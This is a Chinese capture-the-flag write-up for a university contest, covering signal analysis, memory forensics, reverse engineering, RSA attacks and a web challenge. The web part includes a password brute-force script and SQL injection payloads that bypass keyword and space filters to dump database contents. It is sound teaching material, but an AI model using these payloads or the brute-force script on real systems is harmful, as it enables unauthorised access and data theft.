比赛地址:http://ctf-hainu.com
难度:大部分中等偏易
由于这是他们学校面向校内的普及性比赛,难度没有设定得太高。但有些题目还是很有意思的。这里记录一下其中一些有意思的题。
一、MISC 杂项
0x01.信号分析
题目:Hackcube 抓到的汽车遥控杆的信号,能看出其中有啥嘛?
提示:不包含同步位
附件:
知识点:信号分析
步骤:
1.先上网搜搜 Hackcube,搜到篇这种东西。主办方后来也放出了这个提示。
https://unicorn.360.com/hackcube/forum.php?mod=viewthread&tid=13&extra=page%3D1
2.根据里面的截图,拿 Audacity 看看。没看到什么。
3.后来主办方给出了提示,波形分析,就尝试打开左边这个菜单切换视图看看。
4.换到波形(dB)时有图像了,分析看看。
5.放大仔细看看,发现每个周期的信号都是大致上一致的,推断为一个内容的信号。
6.然后根据上面那篇帖子里提到了,应该是这种编码方式。两长为 1,两短为 0,先短后长为 F,无效码为先长后短。
7.信号的组成格式如下。
8.那么就来解读一下信号吧,再注意到提示里的无同步码,那么一开始 就是地址码了,解读如下。
9. 将其拼接在一起得 FFFFFFFF0001,md5 之后包上 flag{} 即为 flag。
10. Flag 到手~
0x02.你能发现什么蛛丝马迹吗
题目:藏了点东西进去,能从中发现一些东西吗?
附件:
知识点:内存取证,AES 解密
步骤:
1.对镜像进行分析,发现其中有许许多多文件。
2. 尝试 binwalk -e 对其进行提取,未果。
3. 后来发现这个文件为 128M,看起来像内存的大小,那么就看看怎么对其进行分析。上网搜索之后发现可以用 volatility 来对其进行分析。我懒得在 Mac 下装了,就直接切到自带这个工具的 Kali Linux 了。
4.来首先让这个玩意儿来分析一下镜像。
5. Windows 2003 的,那么就指定 profile 为 Win2003SP2x86 来扫描一下进程吧。
volatility -f memory.img –profile=Win2003SP2x86 psscan
6.可以看到只有一个 DumpIt.exe 是最近创建的。上网一搜发现这个就是内存取证的工具,再来从其他方面看看。来看看屏幕截图吧。
mkdir win2003
volatility -f memory.img –profile=Win2003SP2x86 screenshot –dump-dir=./win2003
这样就会把截图输出到 win2003。
只有这一个文件有内容。
7.打开有内容的截图看看,发现似乎打开了一个 flag.png 的窗口。看起来像 Windows 图片查看器- -?可惜乱码了。
8.那么再来读取一下文件列表看看有这个文件没。
volatility -f memory.img –profile=Win2003SP2x86 filescan|grep flag
9.啊哈,有,那么我们按照这个地址来导出文件试试。
volatility -f memory.img –profile=Win2003SP2x86 dumpfiles -Q 0x000000000484f900 -D win2003/
10.打开导出之后的文件看看。
是个二维码,扫描看看,为如下内容:
jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=
解码之后意义不明,暂时搁置。
11.再来看看系统里的窗口列表。
volatility -f memory.img –profile=Win2003SP2x86 windows
看到 flag.png 是由 explorer.exe 进程里的 Windows 图片查看器打开的。(Windows 用得少不知道这个了- -)
12.那么我们来尝试 dump 一下 explorer.exe 这个进程的内存试试,pid 为 1992。
volatility -f memory.img --profile=Win2003SP2x86 memdump -p 1992 -D ./win2003/
13.ok,那么再对 dump 出来的内容恢复文件试试。试了试 binwalk 效果不好,来试试 foremost。
cd win2003
foremost 1992.dmp
14.来看看 png 那个目录。
除了之前找到的二维码,还有 key 和 iv。
15.那么就判定是 aes 加密了。按照所给的信息
密文:jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4=
key: Th1s_1s_K3y00000
iv: 1234567890123456
随意找个解密工具 http://tool.chacuo.net/cryptaes 解密看看:
16.Flag 到手~
二、Reverse 逆向
0x01. MFC
题目:直接看附件吧。
附件:
知识点:MFC,动态分析
原题以及 WP: https://bbs.pediy.com/thread-250802.htm
步骤:
1.先切到 Windows,然后在上面运行这个程序。
2.然后打开彗星小助手的窗口 SPY,来分析一下这个窗口。
3.窗口类名有点怪,留着。
944c8d100f82f0c18b682f63e4dbaa207a2f1e72581c2f1b
转成 text 也没结果。
4.再用 xspy 分析分析窗口。
5. 0464 这个消息有点意思,来发一个试试。回到彗星小助手,点击常用操作–>发送消息,填好信息点击发送。注意 0464 是十六进制表示,我们将其转为十进制就是 1124。
发送完毕,可以看到这个 Des key 了。
{I am a Des key}
6.推测上面那串东西是密文,那么就利用下面的信息来解密试试。
DES 密文:944c8d100f82f0c18b682f63e4dbaa207a2f1e72581c2f1b
DES 密钥:{I am a Des key}
7.找了个网站来解密。https://www.tools4noobs.com/online_tools/decrypt/
包上 flag{} 提交。
8.Flag 到手~
0x02.Maze
题目:找出花指令之后的迷宫
附件:
知识点:去壳,动/静态分析
步骤:
1.继续切到 Windows,发现其为命令行程序。
一闪而过。到 cmd 里打开看看。
2.然后用 peid 来看看有没有壳。
3.有 UPX 的壳,那拿 用 UPX Easy GUI 来脱个壳。
4.脱完壳, IDA 走一波。似乎 F5 转不了。
5.Never mind,我们可以看到这里似乎是接收 14 个字符。
6.再来看看下面的字符串部分,哟,这是啥。
7.似乎跟迷宫沾边儿了。那就用 Linux / Unix 下的 strings 命令来找找字符串吧。
strings maze*.exe
8.拷贝下来,还原迷宫,原则很简单,还原出来为矩形,+ 和 F 周围保证能有豁口(空格)即可,这样才不是死迷宫。
还原出来如下:
9. 用 UDLR 来表示上下左右,那么路线就描述为:
DDLLLDLLDDRRRU
10.输进去不对。也是呢- -咱们似乎还得看看程序。
11.IDA 下面似乎还是有花指令,OD 也看不出端倪。只看到有分支,但真正的分支判断看不出来。那就猜吧。
12.最后猜到 wsad 来表示上下左右的时候,可行。
13. Flag 到手~
三、Web
0x01.sql注入
题目:看靶机吧
知识点:爆破,sql 注入
步骤:
1.打开靶机,是这样一个页面。
2.看看源码,有个 hint “试试 hash”。
3.再打开那个登录页面,发现其提示密码为四位数字,再结合试试 hash,估计是得 md5了。
4.不磨叽,抓包,上脚本爆破。
import hashlib
import requests
url = "http://twobloom.club/login.php"
def test(password="0000"):
payload = "username=admin&password=" + hashlib.md5(password.encode()).hexdigest()
headers = {
'Content-Type': "application/x-www-form-urlencoded",
'cache-control': "no-cache",
'User-Agent': 'glzjin'
}
response = requests.request("POST", url, data=payload, headers=headers)
if response.text.find("密码错误") == -1:
return True
return False
for i in range(1, 9999):
password = str(i)
for j in range(0, 4 - len(password)):
password = "0" + password
print(password)
if test(password):
print("Found!")
break
跑出来了~
5.把 2019 md5 之后作为密码,可以登录了。
6.看下这个地方有没有注入,看来是有的。
7.多次测试,发现如下的 payload 可以绕过限制。
/**/绕空格,order by 闭合后引号。
keywords=a'/**/union/**/select/**/1,2,3/**/order/**/by/**/'
8.那么,就开始造作起来吧。看下有哪些数据库。
keywords=a'/**/union/**/select/**/1,group_concat(schema_name),3/**/from/**/information_schema.SCHEMATA/**/order/**/by/**/'
9.小老弟有 ctf 数据库呀。那来看看有啥表。
注意等于号也被过滤了,用 like 代替。
keywords=a'/**/union/**/select/**/1,group_concat(TABLE_NAME),3/**/from/**/information_schema.TABLES/**/where/**/table_schema/**/like/**/'ctf'/**/order/**/by/**/'
10.来看看 flag 表有啥列。
keywords=a'/**/union/**/select/**/1,group_concat(COLUMN_NAME),3/**/from/**/information_schema.COLUMNS/**/where/**/table_name/**/like/**/'flag'/**/order/**/by/**/'
11. OK,那就来读这一列上的内容了。
12.Flag 到手~
四、CRYPTO 密码学
三道都是 RSA。一个套路,p*q 得到 n 很容易,但从 n 在分解出 p 和 q 就很难了,特别是这两个数都特别大还是质数的时候,分解就很困难了。
RSA 加密的公钥和私钥都由这两个数生成。
所以,只要知道了 p 和 q,RSA 就不再安全了。
0x01.basic rsa
题目:最简单的 RSA 加密。
27565231154623519221597938803435789010285480123476977081867877272451638645710
附件:
知识点:RSA 加密原理。
步骤:
1.先打开这个 python 源码看看。
import gmpy2
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
flag = "*****************"
p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
e = 65533
n = p*q
c = pow(int(b2a_hex(flag),16),e,n)
print c
2.这感情好,p,q,e全给了,可以得出公钥和私钥了,直接上网找个加解密脚本改改~
https://gist.github.com/JekaDeka/c9b0f5da16625e3c7bd1033356354579
import random
from binascii import a2b_hex, b2a_hex
p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
n = p * q
def multiplicative_inverse(a, b):
"""Returns a tuple (r, i, j) such that r = gcd(a, b) = ia + jb
"""
# r = gcd(a,b) i = multiplicitive inverse of a mod b
# or j = multiplicitive inverse of b mod a
# Neg return values for i or j are made positive mod b or a respectively
# Iterateive Version is faster and uses much less stack space
x = 0
y = 1
lx = 1
ly = 0
oa = a # Remember original a/b to remove
ob = b # negative values from return results
while b != 0:
q = a // b
(a, b) = (b, a % b)
(x, lx) = ((lx - (q * x)), x)
(y, ly) = ((ly - (q * y)), y)
if lx < 0:
lx += ob # If neg wrap modulo orignal b
if ly < 0:
ly += oa # If neg wrap modulo orignal a
# return a , lx, ly # Return only positive values
return lx
def gcd(a, b):
while b != 0:
a, b = b, a % b
return a
def generate_keypair(p, q):
# n = pq
n = p * q
# Phi is the totient of n
phi = (p - 1) * (q - 1)
# Choose an integer e such that e and phi(n) are coprime
e = 65533
# Use Euclid's Algorithm to verify that e and phi(n) are comprime
g = gcd(e, phi)
while g != 1:
e = random.randrange(1, phi)
g = gcd(e, phi)
# Use Extended Euclid's Algorithm to generate the private key
d = multiplicative_inverse(e, phi)
# Return public and private keypair
# Public key is (e, n) and private key is (d, n)
return ((e, n), (d, n))
def encrypt(pk, plaintext):
# Unpack the key into it's components
key, n = pk[0]
print(b2a_hex(plaintext.encode()))
# Convert each letter in the plaintext to numbers based on the character using a^b mod m
cipher = pow(int(b2a_hex(plaintext.encode()), 16), key, n)
# Return the array of bytes
return cipher
def decrypt(pk, cipher):
# Unpack the key into it's components
key, n = pk[1]
# Convert each letter in the plaintext to numbers based on the character using a^b mod m
cipher = pow(cipher, key, n)
# Return the array of bytes
cipher = a2b_hex(hex(cipher).split('0x')[1])
return cipher
pk = generate_keypair(p, q)
cipher = 27565231154623519221597938803435789010285480123476977081867877272451638645710
plaintext = decrypt(pk, cipher)
print(plaintext)
3.跑一下~
4.Flag 到手~
0x02.bbbbbbrsa
题目:继续继续。
2373740699529364991763589324200093466206785561836101840381622237225512234632
附件:
知识点:RSA 加密原理
步骤:
1.打开这两个文件看看。
enc:
p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
c = ==gMzYDNzIjMxUTNyIzNzIjMyYTM4MDM0gTMwEjNzgTM2UTN4cjNwIjN2QzM5ADMwIDNyMTO4UzM2cTM5kDN2MTOyUTO5YDM0czM3MjM
encode(1).py
from base64 import b64encode as b32encode
from gmpy2 import invert,gcd,iroot
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import random
flag = "******************************"
nbit = 128
p = getPrime(nbit)
q = getPrime(nbit)
n = p*q
print p
print n
phi = (p-1)*(q-1)
e = random.randint(50000,70000)
while True:
if gcd(e,phi) == 1:
break;
else:
e -= 1;
c = pow(int(b2a_hex(flag),16),e,n)
print b32encode(str(c))[::-1]
e 是 50000~70000 随机的。
2.ok, 有 n 和 p 就可以求出 q 了。然后 e 那里爆破一下吧。特别注意,Python 在处理这种超大数除法的时候会有精度问题,需要调库或者自己实现。这里我去网上找了个实现。
https://blog.csdn.net/cidplp/article/details/16902983
import random
from binascii import a2b_hex, b2a_hex
from base64 import b64encode as b32encode
def hdiv(dividend, divisor, precision=0):
"""高精度计算除法,没有四舍五入
@author: cidplp
@param dividend:被除数
@type dividend:int
@param divisor:除数
@type divisor:int
@param precision:小数点后精度
@type precision:int
@return:除法结果
@rtype:str
"""
if isinstance(precision, int) == False or precision < 0:
print('精度必须为非负整数')
return
a = dividend
b = divisor
# 有负数的话做个标记
if abs(a + b) == abs(a) + abs(b):
flag = 1
else:
flag = -1
# 变为正数,防止取模的时候有影响
a = abs(a)
b = abs(b)
quotient = a // b
remainder = a % b
if remainder == 0:
return quotient
ans = str(quotient) + '.'
i = 0
while i < precision:
a = remainder * 10
quotient = a // b
remainder = a % b
ans += str(quotient)
if remainder == 0:
break
i += 1
if precision == 0:
ans = ans.replace('.', '')
if flag == -1:
ans = '-' + ans
return ans
p = 177077389675257695042507998165006460849
n = 37421829509887796274897162249367329400988647145613325367337968063341372726061
q = hdiv(n, p)
def gcd(a, b):
while b != 0:
a, b = b, a % b
return a
def multiplicative_inverse(a, b):
"""Returns a tuple (r, i, j) such that r = gcd(a, b) = ia + jb
"""
# r = gcd(a,b) i = multiplicitive inverse of a mod b
# or j = multiplicitive inverse of b mod a
# Neg return values for i or j are made positive mod b or a respectively
# Iterateive Version is faster and uses much less stack space
x = 0
y = 1
lx = 1
ly = 0
oa = a # Remember original a/b to remove
ob = b # negative values from return results
while b != 0:
q = a // b
(a, b) = (b, a % b)
(x, lx) = ((lx - (q * x)), x)
(y, ly) = ((ly - (q * y)), y)
if lx < 0:
lx += ob # If neg wrap modulo orignal b
if ly < 0:
ly += oa # If neg wrap modulo orignal a
# return a , lx, ly # Return only positive values
return lx
def generate_keypair(p, q, i):
# n = pq
n = p * q
# Phi is the totient of n
phi = (p - 1) * (q - 1)
# Choose an integer e such that e and phi(n) are coprime
e = i
# Use Extended Euclid's Algorithm to generate the private key
d = multiplicative_inverse(e, phi)
# Return public and private keypair
# Public key is (e, n) and private key is (d, n)
return ((e, n), (d, n))
def encrypt(pk, plaintext):
# Unpack the key into it's components
key, n = pk[0]
# Convert each letter in the plaintext to numbers based on the character using a^b mod m
cipher = pow(int(b2a_hex(plaintext.encode()), 16), key, n)
# Return the array of bytes
return cipher
def decrypt(pk, cipher):
try:
# Unpack the key into it's components
key, n = pk[1]
# Convert each letter in the plaintext to numbers based on the character using a^b mod m
cipher = pow(cipher, key, n)
# Return the array of bytes
cipher = a2b_hex(hex(cipher).split('0x')[1])
return cipher
except:
return None
cipher = 2373740699529364991763589324200093466206785561836101840381622237225512234632
phi = (p - 1) * (q - 1)
for i in range(0, 70001):
if gcd(i, phi) == 1:
pk = generate_keypair(p, q, i)
plaintext = decrypt(pk, cipher)
if plaintext is not None:
try:
if plaintext.decode().find('flag') != -1:
print(plaintext)
except:
pass
else:
continue
能正确解密并有 flag 字符的就是我们需要的,cipher 那里为上面的 enc 文件里的cipher 倒置之后的 base64解码数据。
3.跑一下~
4.Flag 到手~
0x03.together
题目:看附件吧。
附件:
知识点:RSA 共模攻击
参考:https://www.jianshu.com/p/2d95bdd0fb0d
步骤:
1.打开文件看看。
pubkey1.pem:
-----BEGIN PUBLIC KEY-----
MIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQB1qLiqKtKVDprtS+NGGN++
q7jLqDJoXMlPRRczMBAGJIRsz5Dzwtt1ulr0s5yu8RdaufiYeU6sYIKk92b3yygL
FvaYCzjdqBF2EyTWGVE7PL5lh3rPUfxwQFqDR8EhIH5x+Ob8rjlkftIjHTBt1ThJ
JXvDBumXpQKGcBIknRaR9dwR1q8GU58/gIk5ND3eCTAadhrhLByWkHbFArxalx4Q
q8s2ZUe8lDc/N6V93EOFjbKbqqqtDmhniF6jdXQDAIwWTpx6+jmzxlCJoVHd2MBs
ZCcQhvklWtuKz4IYL4+iUpMKGHlhY1vCqFx2EzD4XIljFLP9rk7+9+CoyTuIVL/D
AgMACR0=
-----END PUBLIC KEY-----
pubkey2.pem:
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQB1qLiqKtKVDprtS+NGGN++
q7jLqDJoXMlPRRczMBAGJIRsz5Dzwtt1ulr0s5yu8RdaufiYeU6sYIKk92b3yygL
FvaYCzjdqBF2EyTWGVE7PL5lh3rPUfxwQFqDR8EhIH5x+Ob8rjlkftIjHTBt1ThJ
JXvDBumXpQKGcBIknRaR9dwR1q8GU58/gIk5ND3eCTAadhrhLByWkHbFArxalx4Q
q8s2ZUe8lDc/N6V93EOFjbKbqqqtDmhniF6jdXQDAIwWTpx6+jmzxlCJoVHd2MBs
ZCcQhvklWtuKz4IYL4+iUpMKGHlhY1vCqFx2EzD4XIljFLP9rk7+9+CoyTuIVL/D
AgJbJQ==
-----END PUBLIC KEY-----
myflag1:
R3Noy6r3WLItytAmb4FmHEygoilucEEZbO9ZYXx5JN03HNpBLDx7fXd2fl+UL5+11RCs/y0qlTGURWWDtG66eNLzGwNpAKiVj6I7RtUJl2Pcm3NvFeAFwI9UsVREyh7zIV6sI9ZP8l/2GVDorLAz5ULW+f0OINGhJmZm8FL/aDnlfTElhQ87LPicWpXYoMtyr6WrxjK6Ontn8BqCt0EjQ7TeXZhxIH9VTPWjDmFdmOqaqdVIT+LZemTgLNESwM5nn4g5S3aFDFwj1YiDYl0/+8etvKfOrfoKOwR0CxsRHagwdUUTES8EcHLmMGCxCkDZn3SzmmA6Nb3lgLeSgG8P1A==
myflag2:
O+rRCXI3aTB6P1rYIOPUdalUp6ujpwEq4I20CoWA+HIL8xxGtqY6N5gpr0guZv9ZgOEAMFnBxOqMdVNnB9GgnhmXtt1ZWydPqIcHvlfwpd/Lyd0XSjXnjaz3P3vOQvR71cD/uXyBA0XPzmnTIMgEhuGJVFm8min0L/2qI7wg/Z7w1+4mOmi655JIXeCiG23ukDv6l9bZuqfGvWCa1KKXWDP31nLbp0ZN2obUs6jEAa1qVTaX6M4My+sks+0VvHATrAUuCrmMwVEivqIJ/nS6ymGVERN6Ohnzyr168knEBKOVj0FAOx3YLfppMM+XbOGHeqdKJRLpMvqFXDMGQInT3w==
两个公钥,两段密文。
2.先用 RsaCtfTool 看看两个公钥。
前面那个 1:
e:2333
后面那个 2:
e:23333
3.OK,n相同,e 不同,共模攻击,上脚本了。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys, gmpy, base64
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def pad_even(x): # 重要!凑齐2位,将0x1 变成 0x01
return ('', '0')[len(x) % 2] + x
def CipherB2n(c): # 将base64编码后的密文转成数字
c2 = base64.b64decode(c)
temp = ''
for i in c2:
temp += pad_even(str(hex(i))[2:])
temp = eval('0x' + temp)
return (temp)
def CipherN2b(m): # 将数字转换成ascii
hex_m = hex(m)[2:]
if hex_m[-1] == 'L':
hex_m = hex_m[:-1]
return hex_m
if __name__ == '__main__':
sys.setrecursionlimit(1000000)
e1 = 2333 # 根据分解结果
e2 = 23333 # 根据分解结果
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
c1 = 'R3Noy6r3WLItytAmb4FmHEygoilucEEZbO9ZYXx5JN03HNpBLDx7fXd2fl+UL5+11RCs/y0qlTGURWWDtG66eNLzGwNpAKiVj6I7RtUJl2Pcm3NvFeAFwI9UsVREyh7zIV6sI9ZP8l/2GVDorLAz5ULW+f0OINGhJmZm8FL/aDnlfTElhQ87LPicWpXYoMtyr6WrxjK6Ontn8BqCt0EjQ7TeXZhxIH9VTPWjDmFdmOqaqdVIT+LZemTgLNESwM5nn4g5S3aFDFwj1YiDYl0/+8etvKfOrfoKOwR0CxsRHagwdUUTES8EcHLmMGCxCkDZn3SzmmA6Nb3lgLeSgG8P1A=='
c2 = 'O+rRCXI3aTB6P1rYIOPUdalUp6ujpwEq4I20CoWA+HIL8xxGtqY6N5gpr0guZv9ZgOEAMFnBxOqMdVNnB9GgnhmXtt1ZWydPqIcHvlfwpd/Lyd0XSjXnjaz3P3vOQvR71cD/uXyBA0XPzmnTIMgEhuGJVFm8min0L/2qI7wg/Z7w1+4mOmi655JIXeCiG23ukDv6l9bZuqfGvWCa1KKXWDP31nLbp0ZN2obUs6jEAa1qVTaX6M4My+sks+0VvHATrAUuCrmMwVEivqIJ/nS6ymGVERN6Ohnzyr168knEBKOVj0FAOx3YLfppMM+XbOGHeqdKJRLpMvqFXDMGQInT3w=='
c1 = CipherB2n(c1)
c2 = CipherB2n(c2)
# print hex(c1)
n = 14853081277902411240991719582265437298941606850989432655928075747449227799832389574251190347654658701773951599098366248661597113015221566041305501996451638624389417055956926238595947885740084994809382932733556986107653499144588614105694518150594105711438983069306254763078820574239989253573144558449346681620784979079971559976102366527270867527423001083169127402157598183442923364480383742653117285643026319914244072975557200353546060352744263637867557162046429886176035616570590229646013789737629785488326501654202429466891022723268768841320111152381619260637023031430545168618446134188815113100443559425057634959299 # 共n
if s1 < 0:
s1 = - s1
c1 = modinv(c1, n)
elif s2 < 0:
s2 = - s2
c2 = modinv(c2, n)
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
print(m)
print(CipherN2b(m))
4.跑一下
5.将 hex 转为 text
6.Flag 到手~
1 个评论
匿名
bla